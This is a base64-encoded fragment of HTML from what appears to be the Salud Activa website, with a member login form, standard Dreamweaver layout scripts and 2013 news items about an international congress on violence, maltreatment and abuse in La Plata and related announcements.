ICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTIiIGhlaWdodD0iMjQiPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfaXpxMi5qcGciIHdpZHRoPSIxMiIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI0Ij48aW1nIHNyYz0iaW1nL3JlZ2lzdHJhdGVfYWJham8uanBnIiB3aWR0aD0iMTQ2IiBoZWlnaHQ9IjI0IiAvPjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkPjxpbWcgc3JjPSJpbWcvcmVnaXN0cmF0ZV9lc3FfZGVyMi5qcGciIHdpZHRoPSIxNCIgaGVpZ2h0PSIyNCIgLz48L3RkPg0KICAgICAgICAgICAgICAgICAgICA8L3RyPg0KCQkJCQkNCgkJCQkJPC9mb3JtPg0KICAgICAgICAgICAgICAgICAgPC90YWJsZT4NCjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPiAKICAgICAgICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTcwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMyIgY2xhc3M9ImJvcmRlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCA+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0ibGVmdCIgY2xhc3M9InRpdHVsb2hvbWUyIj4KCQkJCQkJCQkJCQkJCQkJCTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGltZyBzcmM9ImltZy9jbGF1ZGlhMl8wMy5qcGciIHdpZHRoPSIxNzQiIGhlaWdodD0iMjUwIiBib3JkZXI9IjAiIHVzZW1hcD0iI01hcCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8dGQgcm93c3Bhbj0iNyIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nLzV4NS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjciPjwvdGQ+CiAgICAgICAgICA8dGQgY29sc3Bhbj0iMiIgcm93c3Bhbj0iNCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSJsb2dpbi5waHAiIG1ldGhvZD0icG9zdCIgbmFtZT0iZm9ybTIiPgoKICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSIxOSIgY29sc3Bhbj0iMiIgYWxpZ249ImxlZnQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIiA+IAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3Ryb25nPlVzdWFyaW8gbm8gcmVnaXN0cmFkbzwvc3Ryb25nPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PiA8L3N0cm9uZz4gCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDkiIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPlVzdWFyaW8mbmJzcDsmbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzOSIgdmFsaWduPSJtaWRkbGUiPjxpbnB1dCBuYW1lPSJ1c3VhcmlvIiB0eXBlPSJ0ZXh0IiBjbGFzcz0icmVnIiBpZD0idXN1YXJpbyIgc2l6ZT0iNyI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjciIGFsaWduPSJyaWdodCIgdmFsaWduPSJtaWRkbGUiIGNsYXNzPSJjb250ZW5pZG8iPkNvbnRyYXNlJm50aWxkZTthJm5ic3A7Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzkiIHZhbGlnbj0ibWlkZGxlIj48aW5wdXQgbmFtZT0icGFzcyIgdHlwZT0icGFzc3dvcmQiIGNsYXNzPSJyZWciIGlkPSJwYXNzIiBzaXplPSI3Ij48L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MiIgYWxpZ249InJpZ2h0IiB2YWxpZ249Im1pZGRsZSIgY2xhc3M9ImJvdG9uIj48aW5wdXQgdHlwZT0iaW1hZ2UiIHNyYz0iaW1nL3JlZy5qcGciIHdpZHRoPSI1OCIgaGVpZ2h0PSIzMCI+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjciIGhlaWdodD0iMTkiIGFsaWduPSJsZWZ0IiB2YWxpZ249InRvcCIgPjxhIGhyZWY9Imh0dHA6Ly93d3cuZmFjZWJvb2suY29tL2hvbWUucGhwPyMhL3BhZ2VzL01lcmxvLUFyZ2VudGluYS9TQUxVRC1BQ1RJVkEvMTAwNTgzNTQzMzE3MzIyP3JlZj10cyZhamF4cGlwZT0xJl9fYT03IiB0YXJnZXQ9Il9ibGFuayI+PGltZyBzcmM9ImltZy9mYWNlYm9vay5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzExIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIj48ZGl2IGFsaWduPSJsZWZ0Ij48YSBocmVmPSJodHRwOi8vdHdpdHRlci5jb20vU2FsdWRBY3RpdmFPTkciIHRhcmdldD0iX2JsYW5rIj48aW1nIHNyYz0iaW1nL3R3aXRlci5qcGciIHdpZHRoPSIyMCIgaGVpZ2h0PSIyMCIgYm9yZGVyPSIwIj48L2E+PC9kaXY+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI1IiBhbGlnbj0icmlnaHQiIHZhbGlnbj0ibWlkZGxlIiBjbGFzcz0iY29udGVuaWRvIj48bGFiZWw+PGZvbnQgc2l6ZT0iLTYiPlNpCiAgICAgICAgICAgICAgICAgICAgICAgdG9kYXYmaWFjdXRlO2Egbm8gZXMgdXN1YXJpbyA8L2ZvbnQ+IDxhIGhyZWY9ImluZGV4LnBocD9pZD0xMSIgY2xhc3M9ImJvdG9uIj48Zm9udCBzaXplPSItNiI+cmVnJmlhY3V0ZTtzdHJlc2UKICAgICAgICAgICAgICAgICAgICAgICAgYXF1JmlhY3V0ZTsgPGZvbnQgY29sb3I9IiM2NjY2NjYiPiYjODIyNjs8L2ZvbnQ+PC9mb250PjwvYT4gPGEgaHJlZj0iaW5kZXgucGhwP2lkPTEyIiBjbGFzcz0iYm90b24xIj48Zm9udCBzaXplPSItNiI+b2x2aWRlIG1pIGNvbnRyYXNlJm50aWxkZTthPC9mb250PjwvYT48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE3Ij4mbmJzcDsgPC90ZD4KICAgICAgICAgICAgICA8L3RyPgoJCQkgIDwvZm9ybT4KCiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICA8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KPGhlYWQ+CjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlzby04ODU5LTEiIC8+Cjx0aXRsZT5Eb2N1bWVudG8gc2luIHQmaWFjdXRlO3R1bG88L3RpdGxlPgo8bGluayBocmVmPSJlc3RpbG9zLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyIgLz4KPHNjcmlwdCBsYW5ndWFnZT0iSmF2YVNjcmlwdCIgdHlwZT0idGV4dC9KYXZhU2NyaXB0Ij4KPCEtLQpmdW5jdGlvbiBNTV9yZWxvYWRQYWdlKGluaXQpIHsgIC8vcmVsb2FkcyB0aGUgd2luZG93IGlmIE5hdjQgcmVzaXplZAogIGlmIChpbml0PT10cnVlKSB3aXRoIChuYXZpZ2F0b3IpIHtpZiAoKGFwcE5hbWU9PSJOZXRzY2FwZSIpJiYocGFyc2VJbnQoYXBwVmVyc2lvbik9PTQpKSB7CiAgICBkb2N1bWVudC5NTV9wZ1c9aW5uZXJXaWR0aDsgZG9jdW1lbnQuTU1fcGdIPWlubmVySGVpZ2h0OyBvbnJlc2l6ZT1NTV9yZWxvYWRQYWdlOyB9fQogIGVsc2UgaWYgKGlubmVyV2lkdGghPWRvY3VtZW50Lk1NX3BnVyB8fCBpbm5lckhlaWdodCE9ZG9jdW1lbnQuTU1fcGdIKSBsb2NhdGlvbi5yZWxvYWQoKTsKfQpNTV9yZWxvYWRQYWdlKHRydWUpOwoKZnVuY3Rpb24gTU1fcHJlbG9hZEltYWdlcygpIHsgLy92My4wCiAgdmFyIGQ9ZG9jdW1lbnQ7IGlmKGQuaW1hZ2VzKXsgaWYoIWQuTU1fcCkgZC5NTV9wPW5ldyBBcnJheSgpOwogICAgdmFyIGksaj1kLk1NX3AubGVuZ3RoLGE9TU1fcHJlbG9hZEltYWdlcy5hcmd1bWVudHM7IGZvcihpPTA7IGk8YS5sZW5ndGg7IGkrKykKICAgIGlmIChhW2ldLmluZGV4T2YoIiMiKSE9MCl7IGQuTU1fcFtqXT1uZXcgSW1hZ2U7IGQuTU1fcFtqKytdLnNyYz1hW2ldO319Cn0KLy8tLT4KPC9zY3JpcHQ+CiAgICAgICAgICAgICA8c2NyaXB0IHNyYz0iU2NyaXB0cy9BQ19SdW5BY3RpdmVDb250ZW50LmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoJCQkgCjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CjwhLS0KI0xheWVyMSB7Cglwb3NpdGlvbjphYnNvbHV0ZTsKCXdpZHRoOjY1MXB4OwoJaGVpZ2h0OjIxOHB4OwoJei1pbmRleDoxOwp9CiNMYXllcjIgewoJcG9zaXRpb246YWJzb2x1dGU7Cgl3aWR0aDoyMDBweDsKCWhlaWdodDoxMTVweDsKCXotaW5kZXg6MTsKCXZpc2liaWxpdHk6IHZpc2libGU7Cn0KLkVzdGlsbzEgewoJZm9udC1zaXplOiAxOHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzIgewoJZm9udC1zaXplOiAxNHB4OwoJZm9udC13ZWlnaHQ6IGJvbGQ7Cn0KLkVzdGlsbzMge2NvbG9yOiAjNTA2OTkwOyBsaW5lLWhlaWdodDogMTJweDsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyBmb250LWZhbWlseTogVGFob21hO30KLS0+Cjwvc3R5bGU+CjwvaGVhZD4KCjxib2R5IGxlZnRtYXJnaW49IjIiIG1hcmdpbndpZHRoPSIyIj4KPHRhYmxlIHdpZHRoPSI2MDgiIGJvcmRlcj0iMCIgYWxpZ249ImNlbnRlciIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KICA8dHI+CiAgICA8dGQgY29sc3Bhbj0iNCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgPHRyPgogICAgICAgIDx0ZCB3aWR0aD0iMiUiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzA3LmpwZyIgd2lkdGg9IjI0IiBoZWlnaHQ9IjE0IiAvPjwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI5MCUiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18wNy5qcGciPiZuYnNwOzwvdGQ+CiAgICAgICAgPHRkIHdpZHRoPSI4JSIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wOS5qcGciIHdpZHRoPSI0NSIgaGVpZ2h0PSIxNyIgLz48L3RkPgogICAgICA8L3RyPgogICAgPC90YWJsZT48L3RkPgogIDwvdHI+CiAgPHRyPgogICAgPHRkIGNvbHNwYW49IjQiPjxiciAvPgogICAgICA8dGFibGUgd2lkdGg9Ijk4JSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPgogICAgICA8dHI+CiAgICAgICAgPHRkIHdpZHRoPSIyJSI+PGltZyBzcmM9ImltZy81eDUuanBnIiB3aWR0aD0iMTUiIGhlaWdodD0iMTUiIC8+PC90ZD4KICAgICAgICA8dGQgd2lkdGg9IjkzJSI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+CjwhLS0gSU5JQ0lPIG5vdGEgZGVzdGFjYWRhIC0tPgogICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzIzMDQyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MjIvMTEvMjAxMzwvc3Bhbj48YnI+SVYgQ29uZ3Jlc28gSW50ZXJuYWNpb25hbCB2aW9sZW5jaWEsIG1hbHRyYXRvIHkgYWJ1c288L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPjxzdHJvbmc+MTQsIDE1IHkgMTYgZGUgTm92aWVtYnJlIEFCSUVSVEEgTEEgSU5TQ1JJUENJJk9hY3V0ZTtOISAoY29uIGRlc2N1ZW50byBoYXN0YSBlbCAyNy84KTxiciAvPjwvc3Ryb25nPjwvcD4NCjxwPjxzdHJvbmc+QUJJRVJUQSBMQSBSRUNFUENJJk9hY3V0ZTtOIERFIFRSQUJBSk88YSBocmVmPSJodHRwOi8vd3d3LmNvbmdyZXNvdmlvbGVuY2lhLmNvbS9pbmRleC5waHA/aWQ9bW9kYWxpZGFkZXMiIHRhcmdldD0iX2JsYW5rIj4gKG1hcyBpbmZvKTwvYT48L3N0cm9uZz48L3A+DQo8cD48c3BhbiBzdHlsZT0iY29sb3I6ICNmZjY2MDA7Ij48c3Ryb25nPk9yZ2FuaXphOiBTYWx1ZCBBY3RpdmE8L3N0cm9uZz48L3NwYW4+PC9wPg0KPHA+PHNwYW4gc3R5bGU9ImNvbG9yOiAjZmY2NjAwOyI+SW5jcmlwdG9zIGFsIFBvcnRhbCBkZSBTYWx1ZCBBY3RpdmEsIGltcG9ydGFudGVzIGRlc2N1ZW50b3MhPGJyIC8+PC9zcGFuPjwvcD4NCjxwPkx1Z2FyIGRlIFJlYWxpemFjaSZvYWN1dGU7biB5IGNvbGFib3JhY2lvbjogVW5pdmVyc2lkYWQgZGVsIEVzdGUsIExhIFBsYXRhIEJ1ZW5vcyBBaXJlczwvcD4NCjxwPk1hcyBkZSAxNTAgdHJhYmFqb3MgcHJlc2VudGFkb3MsIHVsdGltb3MgZGlhcyBwYXJhIGluc2NyaWJpcnNlIGNvbiBkZXNjdWVudG8hITwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPkluc2NyaWJpcnNlPC9hPjwvcD4NCjxwPjxhIGhyZWY9Imh0dHA6Ly93d3cuY29uZ3Jlc292aW9sZW5jaWEuY29tL2luZGV4LnBocD9pZD1pbnNjcmlwY2lvbiIgdGFyZ2V0PSJfYmxhbmsiPjxiciAvPjwvYT48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAxIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDEiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MDQvMTEvMjAxMzwvc3Bhbj48YnI+RWwgY29sZWdpbyBkZSBQc2lj82xvZ29zIGRlIEPzcmRvYmEgc2UgcHJvbnVuY2lhIGVuIHJlbGFjafNuIGFsIFNBUCB5IGVuIGNvbmNvcmRhbmNpYSBjb24gbG8gZXhwcmVzYWRvIHBvciBlbCBDb2xlZ2lvIGRlIFBzaWPzbG9nb3MgZGUgTWFyIGRlbCBQbGF0YSB5IGVsIENvbGVnaW8gZGUgUHNpY/Nsb2dvcyBkZSBsYSAgUHJvdmluY2lhIGRlIEJ1ZW5vcyBBaXJlczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+Jm5ic3A7PC9wPg0KPHA+TGFzIGNvbnRyb3ZlcnNpYXMgZ2VuZXJhZGFzIGVuIHJlbGFjaSZvYWN1dGU7biBhbCAic2luZHJvbWUgZGUgYWxpZW5hY2kmb2FjdXRlO24gcGFyZW50YSIgU0FQLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMxMCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzEwIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTU2IiByb3dzcGFuPSIyIiB2YWxpZ249InRvcCI+CgkJCQkKCQkJCTx0YWJsZSB3aWR0aD0iMzIlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPSIzIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJzcmMvaW1nX3VwLzE2MTAyMDEzLjAuanBnIiB3aWR0aD0iMTQ2IiAvPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPgoJCQkJCQkJCTwvdGQ+ICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM4MSIgaGVpZ2h0PSIzMCIgY2xhc3M9InRpdHVsb2hvbWUxIj48c3BhbiBjbGFzcz0iZGVzdGFjYWRvcyI+MTYvMTAvMjAxMzwvc3Bhbj48YnI+U2FsdWQgQWN0aXZhIG90b3JnYSBtZWRpYXMgYmVjYXMgcGFyYSBlbCBJViBDb25ncmVzbyBJbnRlcm5hY2lvbmFsLCBWIE5hY2lvbmFsLCBWSSBSZWdpb25hbCBWaW9sZW5jaWEsIE1hbHRyYXRvIHkgQWJ1c28uPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZ